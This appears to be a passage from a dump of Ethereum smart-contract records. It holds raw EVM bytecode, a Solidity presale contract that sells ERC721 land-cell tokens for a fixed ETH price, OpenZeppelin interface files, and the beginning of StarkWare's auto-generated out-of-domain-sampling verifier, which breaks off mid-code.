fffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104ad6004803603810190808035906020019092919080359060200190929190505050610d8b565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610daf565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b506105a36004803603810190808035906020019092919080359060200190929190505050610ffe565b6040518082815260200191505060405180910390f35b3480156105c557600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102f565b6040518082815260200191505060405180910390f35b34801561063c57600080fd5b5061066560048036038101908080359060200190929190803590602001909291905050506110b6565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006108a1600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096a600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a33600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bde5780601f10610bb357610100808354040283529160200191610bde565b820191906000526020600020905b815481529060010190602001808311610bc157829003601f168201915b505050505081565b6000828211151515610bf757600080fd5b818303905092915050565b6000610c4d600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd9600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d9b57600080fd5b8183811515610da657fe5b04905092915050565b600082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f8c578082015181840152602081019050610f71565b50505050905090810190601f168015610fb95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061101e575081838281151561101b57fe5b04145b151561102957600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156110cc57600080fd5b929150505600a165627a7a723058202808aebd8f46a9fd2e07c4052b792a9672dc8ac269bf0c1e622130e44b8d56010029
[ 2 ]
0xF2ADcAc7D4CD117879849B0983Fe89E1B1675931
pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC721 { function mint(address to, uint256 tokenId) external; function exists(uint256 tokenId) external view returns (bool); } /** * @title Presale * @dev Presale contract allowing investors to purchase the cell token. * This contract implements such functionality in its most fundamental form and can be extended * to provide additional functionality and/or custom behavior. */ contract Presale is Context { // The token being sold IERC721 private _cellToken; // Address where fund are collected address payable private _wallet; // Amount of wei raised uint256 private _weiRaised; // Amount of token to be pay for one ERC721 token uint256 private _weiPerToken; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param tokenId uint256 ID of the token to be purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 tokenId); /** * @param wallet_ Address where collected tokens will be forwarded to * @param cellToken_ Address of the Cell token being sold * @param weiPerToken_ tokens amount paid for purchase a Cell token */ constructor (address payable wallet_, IERC721 cellToken_, uint256 weiPerToken_) public { require(wallet_ != address(0), "Presale: wallet is the zero address"); require(address(cellToken_) != address(0), "Presale: cell token is the zero address"); require(weiPerToken_ > 0, "Presale: token price must be greater than zero"); _wallet = wallet_; _cellToken = cellToken_; _weiPerToken = weiPerToken_; } /** * @dev Fallback function revert your fund. * Only buy Cell token with the buyToken function. */ fallback() external payable { revert("Presale: cannot accept any amount directly"); } /** * @return The token being sold. */ function cellToken() public view returns (IERC721) { return _cellToken; } /** * @return Amount of wei to be pay for a Cell token */ function weiPerToken() public view returns (uint256) { return _weiPerToken; } /** * @return The address where tokens amounts are collected. */ function wallet() public view returns (address payable) { return _wallet; } /** * @dev Returns x and y where represent the position of the cell. */ function cellById(uint256 tokenId) public pure returns (uint256 x, uint256 y){ y = tokenId / 90; x = tokenId - (y * 90); } /** * @dev token purchase with pay Land tokens * @param beneficiary Recipient of the token purchase * @param tokenId uint256 ID of the token to be purchase */ function buyToken(address beneficiary, uint256 tokenId) public payable{ require(beneficiary != address(0), "Presale: beneficiary is the zero address"); require(weiPerToken() == msg.value, "Presale: Not enough Eth"); require(!_cellToken.exists(tokenId), "Presale: token already minted"); require(tokenId < 11520, "Presale: tokenId must be less than max token count"); (uint256 x, uint256 y) = cellById(tokenId); require(x < 38 || x > 53 || y < 28 || y > 43, "Presale: tokenId should not be in the unsold range"); _wallet.transfer(msg.value); _cellToken.mint(beneficiary, tokenId); emit TokensPurchased(msg.sender, beneficiary, tokenId); } /** * @dev batch token purchase with pay our ERC20 tokens * @param beneficiary Recipient of the token purchase * @param tokenIds uint256 IDs of the token to be purchase */ function buyBatchTokens(address beneficiary, uint256[] memory tokenIds) public payable{ require(beneficiary != address(0), "Presale: beneficiary is the zero address"); uint256 weiAmount = weiPerToken() * tokenIds.length; require(weiAmount == msg.value, "Presale: Not enough Eth"); for (uint256 i = 0; i < tokenIds.length; ++i) { require(!_cellToken.exists(tokenIds[i]), "Presale: token already minted"); require(tokenIds[i] < 11520, "Presale: tokenId must be less than max token count"); (uint256 x, uint256 y) = cellById(tokenIds[i]); require(x < 38 || x > 53 || y < 28 || y > 43, "Presale: tokenId should not be in the unsold range"); } _wallet.transfer(msg.value); for (uint256 i = 0; i < tokenIds.length; ++i) { _cellToken.mint(beneficiary, tokenIds[i]); emit TokensPurchased(msg.sender, beneficiary, tokenIds[i]); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x6080604052600436106100555760003560e01c80633de8030214610076578063521eb273146100a157806368f8fc10146100b6578063d73a1b81146100cb578063dab8263a146100f9578063fe35749c1461011b575b60405162461bcd60e51b815260040161006d906108a9565b60405180910390fd5b34801561008257600080fd5b5061008b61012e565b604051610098919061087c565b60405180910390f35b3480156100ad57600080fd5b5061008b61013d565b6100c96100c4366004610814565b61014c565b005b3480156100d757600080fd5b506100eb6100e6366004610864565b610396565b604051610098929190610a56565b34801561010557600080fd5b5061010e6103c2565b6040516100989190610a4d565b6100c9610129366004610747565b6103c8565b6000546001600160a01b031690565b6001546001600160a01b031690565b6001600160a01b0382166101725760405162461bcd60e51b815260040161006d906108f3565b3461017b6103c2565b146101985760405162461bcd60e51b815260040161006d90610a16565b600054604051634f558e7960e01b81526001600160a01b0390911690634f558e79906101c8908490600401610a4d565b60206040518083038186803b1580156101e057600080fd5b505afa1580156101f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610218919061083d565b156102355760405162461bcd60e51b815260040161006d906109df565b612d0081106102565760405162461bcd60e51b815260040161006d9061098d565b60008061026283610396565b9150915060268210806102755750603582115b806102805750601c81105b8061028b5750602b81115b6102a75760405162461bcd60e51b815260040161006d9061093b565b6001546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156102e0573d6000803e3d6000fd5b506000546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906103139087908790600401610890565b600060405180830381600087803b15801561032d57600080fd5b505af1158015610341573d6000803e3d6000fd5b50505050836001600160a01b0316336001600160a01b03167ff9b4eb3e43eebbf559e9b96ceff1c786a7edab2938c7f5f80678197c2e0edba5856040516103889190610a4d565b60405180910390a350505050565b6000806103a4605a84610a64565b90506103b181605a610a84565b6103bb9084610aa3565b9150915091565b60035490565b6001600160a01b0382166103ee5760405162461bcd60e51b815260040161006d906108f3565b600081516103fa6103c2565b6104049190610a84565b90503481146104255760405162461bcd60e51b815260040161006d90610a16565b60005b82518110156105cc5760005483516001600160a01b0390911690634f558e799085908490811061046857634e487b7160e01b600052603260045260246000fd5b60200260200101516040518263ffffffff1660e01b815260040161048c9190610a4d565b60206040518083038186803b1580156104a457600080fd5b505afa1580156104b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104dc919061083d565b156104f95760405162461bcd60e51b815260040161006d906109df565b612d0083828151811061051c57634e487b7160e01b600052603260045260246000fd5b6020026020010151106105415760405162461bcd60e51b815260040161006d9061098d565b60008061057485848151811061056757634e487b7160e01b600052603260045260246000fd5b6020026020010151610396565b9150915060268210806105875750603582115b806105925750601c81105b8061059d5750602b81115b6105b95760405162461bcd60e51b815260040161006d9061093b565b5050806105c590610aba565b9050610428565b506001546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015610606573d6000803e3d6000fd5b5060005b82518110156107255760005483516001600160a01b03909116906340c10f1990869086908590811061064c57634e487b7160e01b600052603260045260246000fd5b60200260200101516040518363ffffffff1660e01b8152600401610671929190610890565b600060405180830381600087803b15801561068b57600080fd5b505af115801561069f573d6000803e3d6000fd5b50505050836001600160a01b0316336001600160a01b03167ff9b4eb3e43eebbf559e9b96ceff1c786a7edab2938c7f5f80678197c2e0edba58584815181106106f857634e487b7160e01b600052603260045260246000fd5b602002602001015160405161070d9190610a4d565b60405180910390a361071e81610aba565b905061060a565b50505050565b80356001600160a01b038116811461074257600080fd5b919050565b60008060408385031215610759578182fd5b6107628361072b565b915060208084013567ffffffffffffffff8082111561077f578384fd5b818601915086601f830112610792578384fd5b8135818111156107a4576107a4610aeb565b838102604051858282010181811085821117156107c3576107c3610aeb565b604052828152858101935084860182860187018b10156107e1578788fd5b8795505b838610156108035780358552600195909501949386019386016107e5565b508096505050505050509250929050565b60008060408385031215610826578182fd5b61082f8361072b565b946020939093013593505050565b60006020828403121561084e578081fd5b8151801515811461085d578182fd5b9392505050565b600060208284031215610875578081fd5b5035919050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6020808252602a908201527f50726573616c653a2063616e6e6f742061636365707420616e7920616d6f756e60408201526974206469726563746c7960b01b606082015260800190565b60208082526028908201527f50726573616c653a2062656e656669636961727920697320746865207a65726f604082015267206164647265737360c01b606082015260800190565b60208082526032908201527f50726573616c653a20746f6b656e49642073686f756c64206e6f7420626520696040820152716e2074686520756e736f6c642072616e676560701b606082015260800190565b60208082526032908201527f50726573616c653a20746f6b656e4964206d757374206265206c657373207468604082015271185b881b585e081d1bdad95b8818dbdd5b9d60721b606082015260800190565b6020808252601d908201527f50726573616c653a20746f6b656e20616c7265616479206d696e746564000000604082015260600190565b60208082526017908201527f50726573616c653a204e6f7420656e6f75676820457468000000000000000000604082015260600190565b90815260200190565b918252602082015260400190565b600082610a7f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610a9e57610a9e610ad5565b500290565b600082821015610ab557610ab5610ad5565b500390565b6000600019821415610ace57610ace610ad5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220ace06cbcaca5fc9e86e4e916d2b2a8de43e29c6f669f0a42277d1904d2144f5764736f6c63430008000033
[ 4 ]
0xf2Add902E12b1146cb357dB10a56E8B62CF59625
/* Copyright 2019-2022 StarkWare Industries Ltd. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.starkware.co/open-source-license/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // ---------- The following code was auto-generated. PLEASE DO NOT EDIT. ---------- // SPDX-License-Identifier: Apache-2.0. pragma solidity ^0.6.12; import "MemoryMap.sol"; import "StarkParameters.sol"; contract CpuOods is MemoryMap, StarkParameters { // For each query point we want to invert (2 + N_ROWS_IN_MASK) items: // The query point itself (x). // The denominator for the constraint polynomial (x-z^constraintDegree) // [(x-(g^rowNumber)z) for rowNumber in mask]. uint256 constant internal BATCH_INVERSE_CHUNK = (2 + N_ROWS_IN_MASK); /* Builds and sums boundary constraints that check that the prover provided the proper evaluations out of domain evaluations for the trace and composition columns. The inputs to this function are: The verifier context. The boundary constraints for the trace enforce claims of the form f(g^k*z) = c by requiring the quotient (f(x) - c)/(x-g^k*z) to be a low degree polynomial. The boundary constraints for the composition enforce claims of the form h(z^d) = c by requiring the quotient (h(x) - c)/(x-z^d) to be a low degree polynomial. Where: f is a trace column. h is a composition column. z is the out of domain sampling point. g is the trace generator k is the offset in the mask. d is the degree of the composition polynomial. c is the evaluation sent by the prover. */ fallback() external { // This funciton assumes that the calldata contains the context as defined in MemoryMap.sol. // Note that ctx is a variable size array so the first uint256 cell contrains it's length. uint256[] memory ctx; assembly { let ctxSize := mul(add(calldataload(0), 1), 0x20) ctx := mload(0x40) mstore(0x40, add(ctx, ctxSize)) calldatacopy(ctx, 0, ctxSize) } uint256 n_queries = ctx[MM_N_UNIQUE_QUERIES]; uint256[] memory batchInverseArray = new uint256[](2 * n_queries * BATCH_INVERSE_CHUNK); oodsPrepareInverses(ctx, batchInverseArray); uint256 kMontgomeryRInv = PrimeFieldElement0.K_MONTGOMERY_R_INV; assembly { let PRIME := 0x800000000000011000000000000000000000000000000000000000000000001 let context := ctx let friQueue := /*friQueue*/ add(context, 0xdc0) let friQueueEnd := add(friQueue, mul(n_queries, 0x60)) let traceQueryResponses := /*traceQueryQesponses*/ add(context, 0x6fc0) let compositionQueryResponses := /*composition_query_responses*/ add(context, 0xabc0) // Set denominatorsPtr to point to the batchInverseOut array. // The content of batchInverseOut is described in oodsPrepareInverses. let denominatorsPtr := add(batchInverseArray, 0x20) for {} lt(friQueue, friQueueEnd) {friQueue := add(friQueue, 0x60)} { // res accumulates numbers modulo PRIME. Since 31*PRIME < 2**256, we may add up to // 31 numbers without fear of overflow, and use addmod modulo PRIME only every // 31 iterations, and once more at the very end. let res := 0 // Trace constraints. // Mask items for column #0. { // Read the next element. let columnValue := mulmod(mload(traceQueryResponses), kMontgomeryRInv, PRIME) // res += c_0*(f_0(x) - f_0(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[0]*/ mload(add(context, 0x59c0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[0]*/ mload(add(context, 0x3dc0)))), PRIME)) // res += c_1*(f_0(x) - f_0(g * z)) / (x - g * z). res := add( res, mulmod(mulmod(/*(x - g * z)^(-1)*/ mload(add(denominatorsPtr, 0x20)), /*oods_coefficients[1]*/ mload(add(context, 0x59e0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[1]*/ mload(add(context, 0x3de0)))), PRIME)) // res += c_2*(f_0(x) - f_0(g^2 * z)) / (x - g^2 * z). res := add( res, mulmod(mulmod(/*(x - g^2 * z)^(-1)*/ mload(add(denominatorsPtr, 0x40)), /*oods_coefficients[2]*/ mload(add(context, 0x5a00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[2]*/ mload(add(context, 0x3e00)))), PRIME)) // res += c_3*(f_0(x) - f_0(g^3 * z)) / (x - g^3 * z). res := add( res, mulmod(mulmod(/*(x - g^3 * z)^(-1)*/ mload(add(denominatorsPtr, 0x60)), /*oods_coefficients[3]*/ mload(add(context, 0x5a20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[3]*/ mload(add(context, 0x3e20)))), PRIME)) // res += c_4*(f_0(x) - f_0(g^4 * z)) / (x - g^4 * z). res := add( res, mulmod(mulmod(/*(x - g^4 * z)^(-1)*/ mload(add(denominatorsPtr, 0x80)), /*oods_coefficients[4]*/ mload(add(context, 0x5a40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[4]*/ mload(add(context, 0x3e40)))), PRIME)) // res += c_5*(f_0(x) - f_0(g^5 * z)) / (x - g^5 * z). res := add( res, mulmod(mulmod(/*(x - g^5 * z)^(-1)*/ mload(add(denominatorsPtr, 0xa0)), /*oods_coefficients[5]*/ mload(add(context, 0x5a60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[5]*/ mload(add(context, 0x3e60)))), PRIME)) // res += c_6*(f_0(x) - f_0(g^6 * z)) / (x - g^6 * z). res := add( res, mulmod(mulmod(/*(x - g^6 * z)^(-1)*/ mload(add(denominatorsPtr, 0xc0)), /*oods_coefficients[6]*/ mload(add(context, 0x5a80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[6]*/ mload(add(context, 0x3e80)))), PRIME)) // res += c_7*(f_0(x) - f_0(g^7 * z)) / (x - g^7 * z). res := add( res, mulmod(mulmod(/*(x - g^7 * z)^(-1)*/ mload(add(denominatorsPtr, 0xe0)), /*oods_coefficients[7]*/ mload(add(context, 0x5aa0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[7]*/ mload(add(context, 0x3ea0)))), PRIME)) // res += c_8*(f_0(x) - f_0(g^8 * z)) / (x - g^8 * z). res := add( res, mulmod(mulmod(/*(x - g^8 * z)^(-1)*/ mload(add(denominatorsPtr, 0x100)), /*oods_coefficients[8]*/ mload(add(context, 0x5ac0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[8]*/ mload(add(context, 0x3ec0)))), PRIME)) // res += c_9*(f_0(x) - f_0(g^9 * z)) / (x - g^9 * z). res := add( res, mulmod(mulmod(/*(x - g^9 * z)^(-1)*/ mload(add(denominatorsPtr, 0x120)), /*oods_coefficients[9]*/ mload(add(context, 0x5ae0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[9]*/ mload(add(context, 0x3ee0)))), PRIME)) // res += c_10*(f_0(x) - f_0(g^10 * z)) / (x - g^10 * z). res := add( res, mulmod(mulmod(/*(x - g^10 * z)^(-1)*/ mload(add(denominatorsPtr, 0x140)), /*oods_coefficients[10]*/ mload(add(context, 0x5b00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[10]*/ mload(add(context, 0x3f00)))), PRIME)) // res += c_11*(f_0(x) - f_0(g^11 * z)) / (x - g^11 * z). res := add( res, mulmod(mulmod(/*(x - g^11 * z)^(-1)*/ mload(add(denominatorsPtr, 0x160)), /*oods_coefficients[11]*/ mload(add(context, 0x5b20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[11]*/ mload(add(context, 0x3f20)))), PRIME)) // res += c_12*(f_0(x) - f_0(g^12 * z)) / (x - g^12 * z). res := add( res, mulmod(mulmod(/*(x - g^12 * z)^(-1)*/ mload(add(denominatorsPtr, 0x180)), /*oods_coefficients[12]*/ mload(add(context, 0x5b40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[12]*/ mload(add(context, 0x3f40)))), PRIME)) // res += c_13*(f_0(x) - f_0(g^13 * z)) / (x - g^13 * z). res := add( res, mulmod(mulmod(/*(x - g^13 * z)^(-1)*/ mload(add(denominatorsPtr, 0x1a0)), /*oods_coefficients[13]*/ mload(add(context, 0x5b60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[13]*/ mload(add(context, 0x3f60)))), PRIME)) // res += c_14*(f_0(x) - f_0(g^14 * z)) / (x - g^14 * z). res := add( res, mulmod(mulmod(/*(x - g^14 * z)^(-1)*/ mload(add(denominatorsPtr, 0x1c0)), /*oods_coefficients[14]*/ mload(add(context, 0x5b80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[14]*/ mload(add(context, 0x3f80)))), PRIME)) // res += c_15*(f_0(x) - f_0(g^15 * z)) / (x - g^15 * z). res := add( res, mulmod(mulmod(/*(x - g^15 * z)^(-1)*/ mload(add(denominatorsPtr, 0x1e0)), /*oods_coefficients[15]*/ mload(add(context, 0x5ba0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[15]*/ mload(add(context, 0x3fa0)))), PRIME)) } // Mask items for column #1. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0x20)), kMontgomeryRInv, PRIME) // res += c_16*(f_1(x) - f_1(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[16]*/ mload(add(context, 0x5bc0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[16]*/ mload(add(context, 0x3fc0)))), PRIME)) // res += c_17*(f_1(x) - f_1(g * z)) / (x - g * z). res := add( res, mulmod(mulmod(/*(x - g * z)^(-1)*/ mload(add(denominatorsPtr, 0x20)), /*oods_coefficients[17]*/ mload(add(context, 0x5be0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[17]*/ mload(add(context, 0x3fe0)))), PRIME)) // res += c_18*(f_1(x) - f_1(g^255 * z)) / (x - g^255 * z). res := add( res, mulmod(mulmod(/*(x - g^255 * z)^(-1)*/ mload(add(denominatorsPtr, 0x8a0)), /*oods_coefficients[18]*/ mload(add(context, 0x5c00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[18]*/ mload(add(context, 0x4000)))), PRIME)) // res += c_19*(f_1(x) - f_1(g^256 * z)) / (x - g^256 * z). res := add( res, mulmod(mulmod(/*(x - g^256 * z)^(-1)*/ mload(add(denominatorsPtr, 0x8c0)), /*oods_coefficients[19]*/ mload(add(context, 0x5c20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[19]*/ mload(add(context, 0x4020)))), PRIME)) // res += c_20*(f_1(x) - f_1(g^511 * z)) / (x - g^511 * z). res := add( res, mulmod(mulmod(/*(x - g^511 * z)^(-1)*/ mload(add(denominatorsPtr, 0x9e0)), /*oods_coefficients[20]*/ mload(add(context, 0x5c40)), PRIME), add(columnValue, sub(PRIME, /*oods_values[20]*/ mload(add(context, 0x4040)))), PRIME)) } // Mask items for column #2. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0x40)), kMontgomeryRInv, PRIME) // res += c_21*(f_2(x) - f_2(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[21]*/ mload(add(context, 0x5c60)), PRIME), add(columnValue, sub(PRIME, /*oods_values[21]*/ mload(add(context, 0x4060)))), PRIME)) // res += c_22*(f_2(x) - f_2(g * z)) / (x - g * z). res := add( res, mulmod(mulmod(/*(x - g * z)^(-1)*/ mload(add(denominatorsPtr, 0x20)), /*oods_coefficients[22]*/ mload(add(context, 0x5c80)), PRIME), add(columnValue, sub(PRIME, /*oods_values[22]*/ mload(add(context, 0x4080)))), PRIME)) // res += c_23*(f_2(x) - f_2(g^255 * z)) / (x - g^255 * z). res := add( res, mulmod(mulmod(/*(x - g^255 * z)^(-1)*/ mload(add(denominatorsPtr, 0x8a0)), /*oods_coefficients[23]*/ mload(add(context, 0x5ca0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[23]*/ mload(add(context, 0x40a0)))), PRIME)) // res += c_24*(f_2(x) - f_2(g^256 * z)) / (x - g^256 * z). res := add( res, mulmod(mulmod(/*(x - g^256 * z)^(-1)*/ mload(add(denominatorsPtr, 0x8c0)), /*oods_coefficients[24]*/ mload(add(context, 0x5cc0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[24]*/ mload(add(context, 0x40c0)))), PRIME)) } // Mask items for column #3. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0x60)), kMontgomeryRInv, PRIME) // res += c_25*(f_3(x) - f_3(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[25]*/ mload(add(context, 0x5ce0)), PRIME), add(columnValue, sub(PRIME, /*oods_values[25]*/ mload(add(context, 0x40e0)))), PRIME)) // res += c_26*(f_3(x) - f_3(g^255 * z)) / (x - g^255 * z). res := add( res, mulmod(mulmod(/*(x - g^255 * z)^(-1)*/ mload(add(denominatorsPtr, 0x8a0)), /*oods_coefficients[26]*/ mload(add(context, 0x5d00)), PRIME), add(columnValue, sub(PRIME, /*oods_values[26]*/ mload(add(context, 0x4100)))), PRIME)) } // Mask items for column #4. { // Read the next element. let columnValue := mulmod(mload(add(traceQueryResponses, 0x80)), kMontgomeryRInv, PRIME) // res += c_27*(f_4(x) - f_4(z)) / (x - z). res := add( res, mulmod(mulmod(/*(x - z)^(-1)*/ mload(denominatorsPtr), /*oods_coefficients[27]*/ mload(add(context, 0x5d20)), PRIME), add(columnValue, sub(PRIME, /*oods_values[27]*/ mload(add(context, 0x4120)))), PRIME)) // res += 